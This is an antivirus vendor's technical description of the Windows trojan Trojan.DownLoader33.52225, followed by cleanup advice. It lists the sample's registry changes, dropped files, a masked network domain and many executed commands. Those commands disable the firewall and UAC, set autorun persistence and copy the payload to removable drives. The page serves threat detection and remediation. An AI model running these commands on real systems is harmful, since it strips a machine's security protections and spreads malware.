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Trojan.DownLoader33.52225

Added to the Dr.Web virus database: 2020-06-10

Virus description added:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [<HKCU>\software\microsoft\windows\currentversion\run] 'commtel32' = '%APPDATA%\commtel32.exe'
  • [<HKCU>\Control Panel\Desktop] 'SCRNSAVE.EXE' = '%APPDATA%\Microsoft\Windows\smelt.scr'
Sets the following service settings
  • [<HKLM>\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\Browser] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\SSDPSRV] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\upnphost] 'Start' = '00000002'
Malicious functions
To bypass firewall, removes or modifies the following registry keys
  • [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
  • [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
To complicate detection of its presence in the operating system,
blocks the following features:
  • User Account Control (UAC)
Injects code into
the following system processes:
  • %WINDIR%\syswow64\net.exe
Terminates or attempts to terminate
the following user processes:
  • firefox.exe
Modifies settings of Windows Internet Explorer
  • [<HKCU>\Software\Microsoft\windows\CurrentVersion\Internet Settings] 'ProxyEnable' = '00000001'
  • [<HKCU>\Software\Microsoft\windows\CurrentVersion\Internet Settings] 'ProxyServer' = '127.0.0.1:5220'
  • [<HKCU>\Software\Microsoft\windows\CurrentVersion\Internet Settings] 'ProxyOverride' = 'local'
Modifies file system
Creates the following files
  • %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\desktop.ini
  • %APPDATA%\ijnzku2.mem
  • %APPDATA%\ijnzku1.mem
  • %APPDATA%\ijnzku0.mem
  • %APPDATA%\newzip.dat
  • %APPDATA%\gigadrv.dll
  • %APPDATA%\5.dat
  • %APPDATA%\4.dat
  • %APPDATA%\3.dat
  • %APPDATA%\2.dat
  • %APPDATA%\1.dat
  • %APPDATA%\0.dat
  • %APPDATA%\vs0ddj3.mem
  • %APPDATA%\microsoft\windows\smelt.scr
  • %APPDATA%\commtel32.exe
  • %LOCALAPPDATA%\microsoft\windows\history\low\history.ie5\index.dat
  • %APPDATA%\microsoft\windows\cookies\low\index.dat
  • %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\2llz54l9\desktop.ini
  • %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\jvy2d23h\desktop.ini
  • %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\z4uacp1g\desktop.ini
  • %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\k5bqie7a\desktop.ini
  • %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\index.dat
  • %LOCALAPPDATA%\microsoft\windows\history\low\history.ie5\desktop.ini
  • %LOCALAPPDATA%\microsoft\windows\history\low\desktop.ini
  • %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\desktop.ini
  • %WINDIR%\syswow64\duco.exe
  • %APPDATA%\vs0ddj4.mem
Sets the 'hidden' attribute to the following files
  • %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\desktop.ini
  • %APPDATA%\4.dat
  • %APPDATA%\3.dat
  • %APPDATA%\2.dat
  • %APPDATA%\1.dat
  • %APPDATA%\0.dat
  • %APPDATA%\newzip.dat
  • %APPDATA%\gigadrv.dll
  • %APPDATA%\5.dat
  • %APPDATA%\microsoft\windows\smelt.scr
  • %APPDATA%\commtel32.exe
  • %LOCALAPPDATA%\microsoft\windows\history\low\history.ie5\desktop.ini
  • %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\2llz54l9\desktop.ini
  • %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\jvy2d23h\desktop.ini
  • %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\z4uacp1g\desktop.ini
  • %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\k5bqie7a\desktop.ini
  • %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\desktop.ini
  • %WINDIR%\syswow64\duco.exe
  • %LOCALAPPDATA%\microsoft\windows\history\low\desktop.ini
Network activity
Connects to
  • 'localhost':5220
TCP
HTTP GET requests
  • http://ka###skpy.info/a/b/myip.php
UDP
  • DNS ASK ka###skpy.info
Miscellaneous
Searches for the following windows
  • ClassName: '' WindowName: 'System Restore'
  • ClassName: '' WindowName: 'Registry Editor'
  • ClassName: '' WindowName: 'Registry'
  • ClassName: '' WindowName: 'RegAlyzer'
  • ClassName: '' WindowName: 'RegCool'
  • ClassName: '' WindowName: 'System Configuration'
Creates and executes the following
  • '%APPDATA%\microsoft\windows\smelt.scr' /s
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl" /v FEATURE_WEBOC_POPUPMANAGEMENT /t REG_DWORD /d 0 /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_FullURL /t REG_SZ /d yes /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_StatusBar /t REG_SZ /d yes /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_URLinStatusBar /t REG_SZ /d yes /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\MINIE" /v ShowStatusBar /t REG_DWORD /d 1 /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Current" /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Default" /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "DisableFirstRunCustomize" /t REG_DWORD /d "1" /f' (with hidden window)
  • '%WINDIR%\syswow64\rundll32.exe' ' (with hidden window)
  • '%ProgramFiles(x86)%\windows media player\wmplayer.exe' ' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKCR\.zip\ShellNew" /v "FileName" /t REG_SZ /d "%APPDATA%\newzip.dat" /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +R +H "D:\autorun.inf"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +R +H "<Drive name for removable media>:\autorun.inf"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c attrib -R -H "D:\protect.bat"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c attrib -S -R -H "%APPDATA%\commtel32.exe"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c copy /y "%APPDATA%\commtel32.exe" "D:\protect.bat"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +S +R +H "%APPDATA%\commtel32.exe"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +R +H "D:\protect.bat"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c attrib -R -H "C:\protect.bat"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c attrib -R -H "<Drive name for removable media>:\protect.bat"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c copy /y "%APPDATA%\commtel32.exe" "<Drive name for removable media>:\protect.bat"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c copy /y "%APPDATA%\commtel32.exe" "C:\protect.bat"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +R +H "<Drive name for removable media>:\protect.bat"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall set currentprofile state off' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c net start browser' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +R +H +S "%appdata%\commtel32.exe"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "commtel32" /t REG_SZ /d "%appdata%\commtel32.exe" /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c attrib -R -H -S "<SYSTEM32>\duco.exe"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c copy /y "<Full path to file>" "<SYSTEM32>\duco.exe"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +R +H +S "<SYSTEM32>\duco.exe"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c md %appdata%\Microsoft\Windows' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c attrib -R -H -S "%appdata%\Microsoft\Windows\smelt.scr"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c copy /y "<Full path to file>" "%appdata%\Microsoft\Windows\smelt.scr"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +R +H +S "%appdata%\Microsoft\Windows\smelt.scr"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "%appdata%\Microsoft\Windows\smelt.scr" /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +R +H "C:\protect.bat"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +R +H "C:\autorun.inf"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKCR\.rar\ShellNew" /v "FileName" /t REG_SZ /d "%APPDATA%\newzip.dat" /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c NET START seclogon' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c sc config upnphost start= auto' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c sc config SSDPSRV start= auto' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c sc config browser start= auto' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c net start upnphost' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c net start SSDPSRV' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c copy /y "<Full path to file>" "%appdata%\commtel32.exe"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKCR\.zip\CompressedFolder\ShellNew" /v "FileName" /t REG_SZ /d "%APPDATA%\newzip.dat" /f' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c attrib -R -H -S "%appdata%\commtel32.exe"' (with hidden window)
Executes the following
  • '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\syswow64\WININET.dll",DispatchAPICall 1
  • '%WINDIR%\syswow64\net.exe' start upnphost
  • '%WINDIR%\syswow64\net.exe' start SSDPSRV
  • '%WINDIR%\syswow64\net.exe' start browser
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
  • '%WINDIR%\syswow64\netsh.exe' advfirewall set currentprofile state off
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_FullURL /t REG_SZ /d yes /f
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl" /v FEATURE_WEBOC_POPUPMANAGEMENT /t REG_DWORD /d 0 /f
  • '%WINDIR%\syswow64\sc.exe' config SSDPSRV start= auto
  • '%WINDIR%\syswow64\sc.exe' config browser start= auto
  • '%WINDIR%\syswow64\reg.exe' DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Current" /f
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\Software\Microsoft\Internet Explorer\MINIE" /v ShowStatusBar /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' ADD "HKCR\.rar\ShellNew" /v "FileName" /t REG_SZ /d "%APPDATA%\newzip.dat" /f
  • '%WINDIR%\syswow64\net.exe' START seclogon
  • '%WINDIR%\syswow64\reg.exe' ADD "HKCR\.zip\CompressedFolder\ShellNew" /v "FileName" /t REG_SZ /d "%APPDATA%\newzip.dat" /f
  • '%WINDIR%\syswow64\reg.exe' ADD "HKCR\.zip\ShellNew" /v "FileName" /t REG_SZ /d "%APPDATA%\newzip.dat" /f
  • '%ProgramFiles(x86)%\windows media player\wmplayer.exe'
  • '%WINDIR%\syswow64\rundll32.exe'
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "DisableFirstRunCustomize" /t REG_DWORD /d "1" /f
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_StatusBar /t REG_SZ /d yes /f
  • '%WINDIR%\syswow64\reg.exe' ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
  • '%WINDIR%\syswow64\sc.exe' config upnphost start= auto
  • '%WINDIR%\syswow64\cmd.exe' /c copy /y "%APPDATA%\commtel32.exe" "C:\protect.bat"
  • '%WINDIR%\syswow64\cmd.exe' /c copy /y "%APPDATA%\commtel32.exe" "<Drive name for removable media>:\protect.bat"
  • '%WINDIR%\syswow64\cmd.exe' /c attrib -R -H "<Drive name for removable media>:\protect.bat"
  • '%WINDIR%\syswow64\cmd.exe' /c attrib -R -H "C:\protect.bat"
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +R +H "D:\protect.bat"
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +S +R +H "%APPDATA%\commtel32.exe"
  • '%WINDIR%\syswow64\cmd.exe' /c copy /y "%APPDATA%\commtel32.exe" "D:\protect.bat"
  • '%WINDIR%\syswow64\cmd.exe' /c attrib -S -R -H "%APPDATA%\commtel32.exe"
  • '%WINDIR%\syswow64\cmd.exe' /c attrib -R -H "D:\protect.bat"
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +R +H "<Drive name for removable media>:\autorun.inf"
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +R +H "C:\autorun.inf"
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +R +H "D:\autorun.inf"
  • '%WINDIR%\syswow64\reg.exe' ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no /f
  • '%WINDIR%\syswow64\net1.exe' start upnphost
  • '%WINDIR%\syswow64\net1.exe' start browser
  • '%WINDIR%\syswow64\net1.exe' START seclogon
  • '%WINDIR%\syswow64\net1.exe' start SSDPSRV
  • '%WINDIR%\syswow64\reg.exe' DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Default" /f
  • '%WINDIR%\syswow64\reg.exe' ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "DisableFirstRunCustomize" /t REG_DWORD /d "1" /f
  • '%WINDIR%\syswow64\reg.exe' ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no /f
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_URLinStatusBar /t REG_SZ /d yes /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Default" /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Current" /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\MINIE" /v ShowStatusBar /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c md %appdata%\Microsoft\Windows
  • '%WINDIR%\syswow64\attrib.exe' +R +H +S "<SYSTEM32>\duco.exe"
  • '%WINDIR%\syswow64\attrib.exe' -R -H -S "%APPDATA%\Microsoft\Windows\smelt.scr"
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "%appdata%\Microsoft\Windows\smelt.scr" /f
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +R +H +S "%appdata%\Microsoft\Windows\smelt.scr"
  • '%WINDIR%\syswow64\cmd.exe' /c copy /y "<Full path to file>" "%appdata%\Microsoft\Windows\smelt.scr"
  • '%WINDIR%\syswow64\cmd.exe' /c attrib -R -H -S "%appdata%\Microsoft\Windows\smelt.scr"
  • '%WINDIR%\syswow64\attrib.exe' -R -H -S "<SYSTEM32>\duco.exe"
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +R +H +S "<SYSTEM32>\duco.exe"
  • '%WINDIR%\syswow64\reg.exe' ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "%APPDATA%\Microsoft\Windows\smelt.scr" /f
  • '%WINDIR%\syswow64\reg.exe' ADD "HKCU\software\microsoft\windows\currentversion\run" /v "commtel32" /t REG_SZ /d "%APPDATA%\commtel32.exe" /f
  • '%WINDIR%\syswow64\attrib.exe' +R +H +S "%APPDATA%\commtel32.exe"
  • '%WINDIR%\syswow64\cmd.exe' /c copy /y "<Full path to file>" "<SYSTEM32>\duco.exe"
  • '%WINDIR%\syswow64\cmd.exe' /c attrib -R -H -S "<SYSTEM32>\duco.exe"
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "commtel32" /t REG_SZ /d "%appdata%\commtel32.exe" /f
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +R +H +S "%appdata%\commtel32.exe"
  • '%WINDIR%\syswow64\cmd.exe' /c copy /y "<Full path to file>" "%appdata%\commtel32.exe"
  • '%WINDIR%\syswow64\attrib.exe' -R -H -S "%APPDATA%\commtel32.exe"
  • '%WINDIR%\syswow64\cmd.exe' /c attrib -R -H -S "%appdata%\commtel32.exe"
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +R +H "<Drive name for removable media>:\protect.bat"
  • '%WINDIR%\syswow64\reg.exe' DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
  • '%WINDIR%\syswow64\reg.exe' ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKCR\.zip\CompressedFolder\ShellNew" /v "FileName" /t REG_SZ /d "%APPDATA%\newzip.dat" /f
  • '%WINDIR%\syswow64\attrib.exe' +R +H +S "%APPDATA%\Microsoft\Windows\smelt.scr"
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_URLinStatusBar /t REG_SZ /d yes /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_StatusBar /t REG_SZ /d yes /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_FullURL /t REG_SZ /d yes /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl" /v FEATURE_WEBOC_POPUPMANAGEMENT /t REG_DWORD /d 0 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
  • '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall set currentprofile state off
  • '%WINDIR%\syswow64\cmd.exe' /c net start browser
  • '%WINDIR%\syswow64\cmd.exe' /c net start SSDPSRV
  • '%WINDIR%\syswow64\cmd.exe' /c net start upnphost
  • '%WINDIR%\syswow64\cmd.exe' /c sc config browser start= auto
  • '%WINDIR%\syswow64\cmd.exe' /c sc config SSDPSRV start= auto
  • '%WINDIR%\syswow64\cmd.exe' /c sc config upnphost start= auto
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
  • '%WINDIR%\syswow64\cmd.exe' /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
  • '%WINDIR%\syswow64\cmd.exe' /c NET START seclogon
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKCR\.rar\ShellNew" /v "FileName" /t REG_SZ /d "%APPDATA%\newzip.dat" /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg ADD "HKCR\.zip\ShellNew" /v "FileName" /t REG_SZ /d "%APPDATA%\newzip.dat" /f
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +R +H "C:\protect.bat"

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

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After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

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